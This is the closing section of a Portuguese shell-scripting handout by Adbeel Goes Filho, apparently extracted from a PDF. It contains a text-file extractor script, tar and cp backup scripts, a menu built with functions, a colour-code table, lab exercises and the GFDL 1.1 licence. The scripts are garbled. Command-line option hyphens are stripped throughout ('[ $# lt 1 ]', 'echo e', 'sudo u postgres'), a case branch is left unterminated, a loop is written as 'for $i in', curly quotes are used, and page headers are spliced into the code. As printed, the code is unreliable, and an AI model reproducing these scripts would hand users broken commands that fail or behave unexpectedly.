# "acabaram as opções, o que vier a partir daqui são os valores dos
# parâmetros de posição", esta opção serve para prevenir que alguma
# informação que comece com o caractere seja considerado uma opção
# sendo passada para o set;
#
# + No tópico "2.5. Substituição de Variáveis" você verá a explicação
# de se usar "FILE=${FILE:.}/$1";
#
# + Bom... acho que é isso. Leia o código, executeo, faça testes,
# mude o código, executeo novamente, veja o que mudou nos resultados,
# leia as manpages em caso de dúvidas... Enfim, use o método hacker de
# aprender a programar! ;)
# Espero que curta!
# meleu <meleu@meleu.cjb.net>
#
# P.S.: Quer um "dever de casa"? Altere o código para que ele verifique
# se já existe arquivos com o mesmo nome dos que estão prestes a
# serem extraídos. Se existir, alertar o usuário sobre isso. Tente
# também fazer meios de detecção dos possíveis erros que possam
# ocorrer...
# Ah, sei lá! Brinque com o código um pouco! =)
#
B="\e[1m"
Adbeel Goes Filho
ShellScripts 129
N="\e[m"
[ $# lt 1 ] && {
echo e "${B}Erro: falta parâmetros$N"
echo "Uso: `basename $0` arquivo1 [arquivoN]"
exit 1
}
[ w . ] || {
echo e "${B}Erro: você não tem permissão de escrita neste diretório$N"
exit 1
}
OldIFS="$IFS"
IFS=
cat $@ |
while read r LINHA ; do
IFS="$OldIFS"
set $LINHA
case "$1" in
'<++>')
TempIFS="$IFS"
IFS=/
set $2
IFS="$TempIFS"
while [ $# gt 1 ]; do
FILE=${FILE:.}/$1
[ d $FILE ] || mkdir $FILE
shift
done
FILE="${FILE:.}/$1"
if echo n 2>/dev/null > $FILE ; then
echo "* Extraindo $FILE"
else
echo e "$B> houve um erro ao tentar extrair '$FILE'"
echo e " este arquivo será ignorado.$N"
unset FILE
fi
;;
'<>')
unset FILE
;;
*)
[ "$FILE" ] && {
IFS=
echo "$LINHA" >> $FILE
Adbeel Goes Filho
ShellScripts 130
}
;;
esac
done
echo "> Fim <"
15. Arquivos
Backup Diário
#!/bin/bash
# VIRTVS Engenharia e Informática Ltda
# Assunto = Backup Diário
# Data de Inclusão = 29/09/2002
# Data de Alteração = 29/09/2002
# Parâmetros tar =
# c =Cria arquivo tar
# f =Tratar o arquivo
# r =Adicionar ao final de um arquivo tar
# p =Preserva as permissões
# z =Compactar com gzip
# v =Exibe arquivos processados
# W –verify =Verifica arquivo após graválo
# P absolutenames =Preserva /
# tar tvf =Exibe conteúdo do arquivo tar com as permissões
clear
BASE="${HOSTNAME}_$(date "+%Y%m%d%H%M%S")"
DESTINO=/tmp/
ARQUIVO_DESTINO=${DESTINO}${BASE}.tar
ARQUIVO_DUMP=${DESTINO}${BASE}.pgdump
ARQUIVO_ERRO="/tmp/erro.backup"
TRACOS=""
echo "Gerando $ARQUIVO_DESTINO ..."
echo $TRACOS
echo "Gerando $ARQUIVO_DUMP do PostgreSQL..."
sudo u postgres pg_dump satis > $ARQUIVO_DUMP
tar cf $ARQUIVO_DESTINO /etc 2> $ARQUIVO_ERRO
tar rf $ARQUIVO_DESTINO /home 2>> $ARQUIVO_ERRO
tar rf $ARQUIVO_DESTINO $ARQUIVO_DUMP 2>> $ARQUIVO_ERRO
gzip f $ARQUIVO_DESTINO > ${ARQUIVO_DESTINO}.gz 2>> $ARQUIVO_ERRO
mv ${ARQUIVO_DESTINO}.gz /mnt/hdc/backup 2>> $ARQUIVO_ERRO
echo $TRACOS
echo "Fim do Backup. Arquivo=$ARQUIVO_DESTINO"
exit 0
Adbeel Goes Filho
ShellScripts 131
Backup Semanal
#!/bin/bash
# VIRTVS Engenharia e Informática Ltda
# Assunto = Backup Semanal
# Data de Inclusão = 29/09/2002
# Data de Alteração = 29/09/2002
#
# Parâmetros tar =
# c = Cria arquivo tar
# f = Tratar o arquivo
# r = Adicionar ao final de um arquivo tar
# p = Preserva as permissões
# z = Compactar com gzip
# v = Exibe arquivos processados
# W verify = Verifica arquivo após graválo
# P absolutenames = Preserva /
# tar tvf = Exibe conteúdo do arquivo tar com as
permissões
clear
BASE="${HOSTNAME}_$(date "+%Y%m%d%H%M%S")"
DESTINO="/mnt/hdc/"
ARQUIVO_DESTINO=${DESTINO}${BASE}.tar
ARQUIVO_OK="/tmp/ok.txt"
ARQUIVO_ERRO="/tmp/erro.txt"
TRACOS=""
echo "Gerando Cópia em Background ..."
echo $TRACOS
cp R preserve –update /home $DESTINO 1> $ARQUIVO_OK 2> $ARQUIVO_ERRO &
cp R preserve update /util $DESTINO 1>> $ARQUIVO_OK 2>> $ARQUIVO_ERRO &
cp R preserve update /etc $DESTINO 1>> $ARQUIVO_OK 2>> $ARQUIVO_ERRO &
cp R preserve update /var $DESTINO 1>> $ARQUIVO_OK 2>> $ARQUIVO_ERRO &
echo $TRACOS
echo "Fim"
exit 0
Adbeel Goes Filho
ShellScripts 132
16. Uso de Função
#!/bin/sh
menu ()
{
echo "Entre com uma opcao:"
echo
echo "1. Exibir Data e Hora"
echo "2. Exibir Calendario"
echo "3. Desligar o sistema"
echo "4. Sair do programa"
echo
echo n "Escolha: "
read escolha
Funcao_Escolha
}
Funcao_Escolha ()
{
case $escolha in
1) echo ; date ; echo ; menu ;;
2) echo ; cal ; echo ; menu ;;
3) halt ;
4) echo "Até mais" ; echo ; exit ;;
esac
}
menu
EXPR : Fazer contas matemáticas.
sintaxe : expr 2 + 2
+ adição
subtração
\* multiplicação
/ divisão
% resto
17. Colocando cor nas frases
Talvez vc seje vaidoso(a) e queira exibir mensagens com cor , então a sintaxe é :
Adbeel Goes Filho
ShellScripts 133
#!/bin/sh
echo e "\\033[0;31m Testando \\031[0;0m";
# O script acima exibira na tela uma mensagem abaixo :
# Testando ( mas a msg vai estar em vermelha )
Sendo que o 31 eh a cor da fonte :
Tabela de cor :
30 preta
31 vermelha
32 verde
33 amarela
34 azul
35 rosa
36 azul piscina
37 branca
{} FIM {}
Adbeel Goes Filho
ShellScripts 134
2. Laboratórios
Adbeel Goes Filho
ShellScripts 135
Laboratório 1 :Diversos ( 20060425 )
1. Qual o resultado do último comando abaixo? Havendo problemas, qual será a correção ?
#a=Universidade de
#b=Fortaleza
#echo $a$b
2. Qual o resultado de:
#a=$(ls /tmp)
#echo $a
3. Qual o resultado de:
#echo $(ps aux | grep bash)
4. Qual o resultado de:
#find / name *.html 1> /tmp/ok.txt 2> /tmp/erro.txt
5. Elabore um shellscript para copiar todo o conteúdo de um usuário, usando a substituição do ~
para o diretório /tmp/$USER
8. Elabore um shellscript para calcular a soma dos n primeiros números inteiros positivos. Leia n
em tempo de execução.
9. Elabore um shellscript para, dado um número n, exibir a Série de Fibonnacci até ele.
Exemplo: 0 – 1 – 1 – 2 – 3 – 5 – 8 – ...
10.Elabore um shellscript para calcular o fatorial de um número n, passado por parâmetro.
Exemplo: #./fatorial 6
Adbeel Goes Filho
ShellScripts 136
Adbeel Goes Filho
ShellScripts 137
Laboratório 2 :Comandos Condicionais
Elabore os seguintes shellscripts.
1. Encontrar o maior dentre três números recebidos em tempo de execução.
2. Receber duas strings em tempo de execução e exibir uma mensagem se elas são iguais ou não.
3. Encontrar o registro com os dados do usuário do login no arquivo /etc/password
4. Encontrar e gerar um arquivo com a extensão teste.bak no diretório do usuário de login se ele não
existir.
5. Remover arquivos temporários de determinado usuário (Não root).
6. Remover um arquivo cujo nome é lido em tempo de execução.
7. Verificar quais arquivos em /bin podem ser lidos pelo usuário atual.
8. Exibir, caso exista, o conteúdo do arquivo /var/log/squid/access.log no editor vi.
9. Verificar se um usuário está logado e enviar uma mensagem para ele pedindo desconexão.
10.Tratar arquivos de acordo com o menu:
M e n u
del Remover arquivo
ren Renomear arquivo
cp Copiar arquivo
me Mandar conteúdo por email
end Sair do aplicativo
Adbeel Goes Filho
ShellScripts 138
Laboratório 3 :Comandos de Repetição
1. Exibição de números de 1 a n
#!/bin/bash
read p “Qual o número n ?” n
for $i in $(seq 1 $n) ;
do
echo “$i”
done
2. Faça a geração de n números randômicos
Adbeel Goes Filho
ShellScripts 139
Laboratório 4 :Funções
1. Exemplo de Menu
#!/bin/bash
function opcao1 {
echo “Opção 1”
}
function opcao2 {
echo “Opção 2”
return 10
}
echo “Informe a Opção”
read op
case $op in
1) echo “Entrei na Função opcao1”
opcao1
;;
2) echo “Entrei na Função opcao2”
opcao2
;;
exit 0
Observe que a chamada da função deverá vir após sua declaração.
2. Elabore uma calculadora aritmética simples.
Adbeel Goes Filho
ShellScripts 140
Laboratório 5 :Diversos
Elabore os seguintes shellscripts.
1. Inverter uma sequência de 'n' números ( 1 a n ).
2. Ler e exibir os usuários cadastrados em /etc/passwd
3. Consultar o IP associado a um nome de HOST ( Arquivo /etc/hosts)
4. Exibir as variáveis GLOBAIS associadas ao usuário logado.
5. Elabore um shell script para criar uma agenda de endereços.
M e n u – [Usuário]
i Incluir
a Alterar
e Excluir
c Consultar
f Fim
Adbeel Goes Filho
ShellScripts 141
Variáveis
$0 é o nome do shellscript;
$1 a $9 $1 é o primeiro parâmetro, $9 o nono, e assim por diante;
${10}, ${11}... quando o número do parâmetro possui mais de um dígito é necessário o
uso das chaves;
$* todos os parâmetros em uma única string (exceto o $0);
$@ todos os parâmetros, cada um em strings separadas (exceto $0);
$# número de parâmetros (sem contar com o $0).
$? valor de retorno do último comando (explicado mais adiante);
$$ PID do script.
Comando case
case <parâmetro> in
<opção 1>) <comandos 1>
;;
[opção 2] )<comandos 2>
;;
* )
< comandos se não for nenhuma das opções >
;;
esac
Adbeel Goes Filho
ShellScripts 142
Resumo dos Comandos
$0 é o nome do shellscript (a.k.a. parâmetro zero);
$1 a $9 $1 é o primeiro parâmetro, $9 o nono, e assim por diante;
${10}, ${11}.. quando o número do parâmetro possui mais de um dígito é necessário o uso
das chaves;
$* todos os parâmetros em uma única string (exceto o $0)
$@ todos os parâmetros, cada um em strings separadas (exceto $0)
$# número de parâmetros (sem contar com o $0).
$? valor de retorno do último comando (explicado mais adiante);
$$ PID do script;
$! PID do último comando iniciado com &
x = 0
while [ "$x" le 10 ];
do
echo "Execução número: $x"?;
x = $((x+1));
done;
for <var> in <lista>;
do
comandos
done;
#!/bin/bash
CONT=10
until [ $CONT eq 0 ]; do
echo ne "$CONT\t"
let CONT
done
echo
case <parâmetro> in
<opção 1>)
<comandos 1>
;;
[opção 2] )
<comandos 2>
;;
* )
< comandos se não for nenhuma das opções >
;;
esac
Adbeel Goes Filho
ShellScripts 143
3. Exercicios
Lista 20040513
1. Escreva um script chamado clean para limpar seu diretório $HOME, removendo todos os
arquivos com extensão "bak" ou "~" que não tenham sido acessados há pelo menos 3 dias. Dica:
use os comandos find e rm .
2. Escreva um script para criar diretórios com nome DirXXX, onde XXX varia de 001 a 299.
3. Escreva um conjunto de scripts para gerenciar o apagamento de arquivos. O script del deve
mover os arquivos passados como parâmetros para um diretório lixeira; o script undel deve
mover arquivos da lixeira para o diretório corrente e o script lsdel deve listar o conteúdo da
lixeira. O diretório lixeira deve ser definido através da variável de ambiente $LIXEIRA.
4. Funda os scripts do exercício anterior em um só script del, com os demais (undel e lsdel) sendo
links simbólicos para o primeiro. Como fazer para que o script saiba qual a operação desejada
quando ele for chamado, sem precisar informálo via parâmetros ?
5. Escreva um script para verificar quais hosts de uma determinada rede IP estão ativos. Para testar
se um host está ativo, use o comando ping. A rede deve ser informada via linha de comando, no
formato x.y.z, e o resultado deve ser enviado para um arquivo com o nome x.y.z.log. Deve ser
testada a acessibilidade dos hosts de x.y.z.1 a x.y.z.254. O arquivo /etc/hosts contem os nomes
dos hosts no formato: <IP> <host> <apelido>
Adbeel Goes Filho
ShellScripts 144
Relação de Comandos do ShellScript
if [condição];
then comandos1; else comandos2;
fi;
while [ condição ]; for <var> in <lista>;
do do
comando 1; comando 2; comandos
... done;
done;
until <expressão>; do
<comandos que serão executados enquanto
<expressão> retornar FALSO>
done
case <parâmetro> in select <var> in <lista de opções>;
<opção 1>) do
<comandos 1> <comandos>
;; done;
[opção 2] )
<comandos 2>
;;
* )
< comandos se não for nenhuma
das opções >
;;
esac
Adbeel Goes Filho
ShellScripts 145
Índice alfabético
Metacaracteres 40
Pipes 41
shell 10pp., 14pp., 21pp., 25, 28, 30, 32pp., 36, 38, 40p., 48pp., 59pp., 71, 82, 103, 106pp., 112, 115,
134p., 138
shift 25, 27, 33, 118, 120, 122, 125, 128
Adbeel Goes Filho
ShellScripts 146
5. GNU Free Documentation License
Version 1.1, March 2000
Copyright (C) 2000 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 021111307 USA
Everyone is permitted to copy and distribute verbatim copies of this license document, but changing
it is not allowed.
0. PREAMBLE
The purpose of this License is to make a manual, textbook, or other written document "free" in the
sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or
without modifying it, either commercially or noncommercially. Secondarily, this License preserves
for the author and publisher a way to get credit for their work, while not being considered
responsible for modifications made by others.
This License is a kind of "copyleft", which means that derivative works of the document must
themselves be free in the same sense. It complements the GNU General Public License, which is a
copyleft license designed for free software.
We have designed this License in order to use it for manuals for free software, because free software
needs free documentation: a free program should come with manuals providing the same freedoms
that the software does. But this License is not limited to software manuals; it can be used for any
textual work, regardless of subject matter or whether it is published as a printed book. We
recommend this License principally for works whose purpose is instruction or reference.
1. APPLICABILITY AND DEFINITIONS
This License applies to any manual or other work that contains a notice placed by the copyright
holder saying it can be distributed under the terms of this License. The "Document", below, refers to
any such manual or work. Any member of the public is a licensee, and is addressed as "you".
A "Modified Version" of the Document means any work containing the Document or a portion of it,
either copied verbatim, or with modifications and/or translated into another language.
A "Secondary Section" is a named appendix or a frontmatter section of the Document that deals
exclusively with the relationship of the publishers or authors of the Document to the Document's
overall subject (or to related matters) and contains nothing that could fall directly within that overall
subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section
may not explain any mathematics.) The relationship could be a matter of historical connection with
the subject or with related matters, or of legal, commercial, philosophical, ethical or political
position regarding them.
The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those
of Invariant Sections, in the notice that says that the Document is released under this License.
The "Cover Texts" are certain short passages of text that are listed, as FrontCover Texts or Back
Cover Texts, in the notice that says that the Document is released under this License.
A "Transparent" copy of the Document means a machinereadable copy, represented in a 106 format
whose specification is available to the general public, whose contents can be viewed and edited
directly and straightforwardly with generic text editors or (for images composed of pixels) generic
paint programs or (for drawings) some widely available drawing editor, and that is suitable for input
to text formatters or for automatic translation to a variety of formats suitable for input to text
Adbeel Goes Filho
ShellScripts 147
formatters. A copy made in an otherwise Transparent file format whose markup has been designed
to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not
"Transparent" is called "Opaque".
Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo
input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard
conforming simple HTML designed for human modification. Opaque formats include PostScript,
PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or
XML for which the DTD and/or processing tools are not generally available, and the machine
generated HTML produced by some word processors for output purposes only.
The "Title Page" means, for a printed book, the title page itself, plus such following pages as are
needed to hold, legibly, the material this License requires to appear in the title page.
For works in formats which do not have any title page as such, "Title Page" means the text near the
most prominent appearance of the work's title, preceding the beginning of the body of the text.
2. VERBATIM COPYING
You may copy and distribute the Document in any medium, either commercially or
noncommercially, provided that this License, the copyright notices, and the license notice saying
this License applies to the Document are reproduced in all copies, and that you add no other
conditions whatsoever to those of this License. You may not use technical measures to obstruct or
control the reading or further copying of the copies you make or distribute.
However, you may accept compensation in exchange for copies. If you distribute a large enough
number of copies you must also follow the conditions in section 3.
You may also lend copies, under the same conditions stated above, and you may publicly display
copies.
3. COPYING IN QUANTITY
If you publish printed copies of the Document numbering more than 100, and the Document's
license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and
legibly, all these Cover Texts: FrontCover Texts on the front cover, and BackCover Texts on the
back cover. Both covers must also clearly and legibly identify you as the publisher of these copies.
The front cover must present the full title with all words of the title equally prominent and visible.
You may add other material on the covers in addition. Copying with changes limited to the covers,
as long as they preserve the title of the Document and satisfy these conditions, can be treated as
verbatim copying in other respects.
If the required texts for either cover are too voluminous to fit legibly, you should put the first ones
listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
If you publish or distribute Opaque copies of the Document numbering more than 100, you must
either include a machinereadable Transparent copy along with each Opaque copy, or state in or
with each Opaque copy a publiclyaccessible computernetwork location containing a complete
Transparent copy of the Document, free of added material, which the general networkusing public
has access to download anonymously at no charge using publicstandard network protocols. If you
use the latter option, you must take reasonably prudent steps, when you begin distribution of
Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the
stated location until at least one year after the last time you distribute an Opaque copy (directly or
through your agents or retailers) of that edition to the public.
It is requested, but not required, that you contact the authors of the Document well before
redistributing any large number of copies, to give them a chance to provide you with an updated
version of the Document.
Adbeel Goes Filho
ShellScripts 148
4. MODIFICATIONS
You may copy and distribute a Modified Version of the Document under the conditions of sections
2 and 3 above, provided that you release the Modified Version under precisely this License, with the
Modified Version filling the role of the Document, thus licensing distribution and modification of
the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the
Modified Version:
A.Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and
from those of previous versions (which should, if there were any, be listed in the History section of
the Document). You may use the same title as a previous version if the original publisher of that
version gives permission.
B.List on the Title Page, as authors, one or more persons or entities responsible for authorship of the
modifications in the Modified Version, together with at least five of the principal authors of the
Document (all of its principal authors, if it has less than five).
C.State on the Title page the name of the publisher of the Modified Version, as the publisher.
D.Preserve all the copyright notices of the Document.
E.Add an appropriate copyright notice for your modifications adjacent to the other copyright
notices.
F.Include, immediately after the copyright notices, a license notice giving the public permission to
use the Modified Version under the terms of this License, in the form shown in the Addendum
below.
G.Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in
the Document's license notice.
H.Include an unaltered copy of this License.
I.Preserve the section entitled "History", and its title, and add to it an item stating at least the title,
year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no
section entitled "History" in the Document, create one stating the title, year, authors, and publisher
of the Document as given on its Title Page, then add an item describing the Modified Version as
stated in the previous sentence.
J.Preserve the network location, if any, given in the Document for public access to a Transparent
copy of the Document, and likewise the network locations given in the Document for previous
versions it was based on. These may be placed in the "History" section. You may omit a network
location for a work that was published at least four years before the Document itself, or if the
original publisher of the version it refers to gives permission.
K.In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and
preserve in the section all the substance and tone of each of the contributor acknowledgements
and/or dedications given therein.
L.Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles.
Section numbers or the equivalent are not considered part of the section titles.
M.Delete any section entitled "Endorsements". Such a section may not be included in the Modified
Version.
N.N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant
Section.
O.If the Modified Version includes new frontmatter sections or appendices that qualify as
Secondary Sections and contain no material copied from the Document, you may at your option
designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant
Sections in the Modified Version's license notice. These titles must be distinct from any other
Adbeel Goes Filho
ShellScripts 149
section titles.
You may add a section entitled "Endorsements", provided it contains nothing but endorsements of
your Modified Version by various partiesfor example, statements of peer review or that the text has
been approved by an organization as the authoritative definition of a standard.
You may add a passage of up to five words as a FrontCover Text, and a passage of up to 25 words
as a BackCover Text, to the end of the list of Cover Texts in the Modified Version. Only one
passage of FrontCover Text and one of BackCover Text may be added by (or through arrangements
made by) any one entity. If the Document already includes a cover text for the same cover,
previously added by you or by arrangement made by the same entity you are acting on behalf of, you
may not add another; but you may replace the old one, on explicit permission from the previous
publisher that added the old one.
The author(s) and publisher(s) of the Document do not by this License give permission to use their
names for publicity for or to assert or imply endorsement of any Modified Version.
5. COMBINING DOCUMENTS
You may combine the Document with other documents released under this License, under the terms
defined in section 4 above for modified versions, provided that you include in the combination all of
the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant
Sections of your combined work in its license notice.
The combined work need only contain one copy of this License, and multiple identical Invariant
Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same
name but different contents, make the title of each such section unique by adding at the end of it, in
parentheses, the name of the original author or publisher of that section if known, or else a unique
number. Make the same adjustment to the section titles in the list of Invariant Sections in the license
notice of the combined work.
In the combination, you must combine any sections entitled "History" in the various original
documents, forming one section entitled "History"; likewise combine any sections entitled
"Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled
"Endorsements."
6. COLLECTIONS OF DOCUMENTS
You may make a collection consisting of the Document and other documents released under this
License, and replace the individual copies of this License in the various documents with a single
copy that is included in the collection, provided that you follow the rules of this License for
verbatim copying of each of the documents in all other respects.
You may extract a single document from such a collection, and distribute it individually under this
License, provided you insert a copy of this License into the extracted document, and follow this
License in all other respects regarding verbatim copying of that document.
7. AGGREGATION WITH INDEPENDENT WORKS
A compilation of the Document or its derivatives with other separate and independent documents or
works, in or on a volume of a storage or distribution medium, does not as a whole count as a
Modified Version of the Document, provided no compilation copyright is claimed for the
compilation. Such a compilation is called an "aggregate", and this this License does not apply to the
other selfcontained works thus compiled with the Document, on account of their being thus
compiled, if they are not themselves derivative works of the Document. If the Cover Text
requirement of section 3 is applicable to these copies of the Document, then if the Document is less
than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that
surround only the Document within the aggregate. Otherwise they must appear on covers around the
Adbeel Goes Filho
ShellScripts 150
whole aggregate.
8. TRANSLATION
Translation is considered a kind of modification, so you may distribute translations of the Document
under the terms of section 4. Replacing Invariant Sections with translations requires especial
permission from their copyright holders, but you may include translations of some or all Invariant
Sections in addition to the original versions of these Invariant Sections. You may include a
translation of this License provided that you also include the original English version of this
License. In case of a disagreement between the translation and the original English version of this
License, the original English version will prevail.
9. TERMINATION
You may not copy, modify, sublicense, or distribute the Document except as expressly provided for
under this License. Any other attempt to copy, modify, sublicense or distribute the Document is
void, and will automatically terminate your rights under this License. However, parties who have
received copies, or rights, from you under this License will not have their licenses terminated so
long as such parties remain in full compliance.
10. FUTURE REVISIONS OF THIS LICENSE
The Free Software Foundation may publish new, revised versions of the GNU Free Documentation
License from time to time. Such new versions will be similar in spirit to the present version, but
may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/. each
version of the License is given a distinguishing version number. If the Document specifies that a
particular numbered version of this License "or any later version" applies to it, you have the option
of following the terms and conditions either of that specified version or of any later version that has
been published (not as a draft) by the Free Software Foundation. If the Document does not specify a
version number of this License, you may choose any version ever published (not as a draft) by the
Free Software Foundation.
How to use this License for your documents.
To use this License in a document you have written, include a copy of the License in the document
and put the following copyright and license notices just after the title page:
Copyright (c) YEAR YOUR NAME.
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU
Free Documentation License, Version 1.1 or any later version published by the Free Software
Foundation; with the Invariant Sections being LIST THEIR TITLES, with the FrontCover Texts
being LIST, and with the BackCover Texts being LIST.
A copy of the license is included in the section entitled "GNU Free Documentation License". If you
have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are
invariant. If you have no FrontCover Texts, write "no FrontCover Texts" instead of "FrontCover
Texts being LIST"; likewise for BackCover Texts.
If your document contains nontrivial examples of program code, we recommend releasing these
examples in parallel under your choice of free software license, such as the GNU General Public
License, to permit their use in free software.
Adbeel Goes Filho
ShellScripts 151
Este trabalho foi composto e editado eletronicamente no Núcleo de
Informática da
VIRTVS Engenharia e Informática Ltda
Rua Cel. Ribeiro da Silva, 391. Monte Castelo. FortalezaCeará.
Telefone: 0 xx 85 32833124.
http://www.virtvs.com.br
Adbeel Goes Filho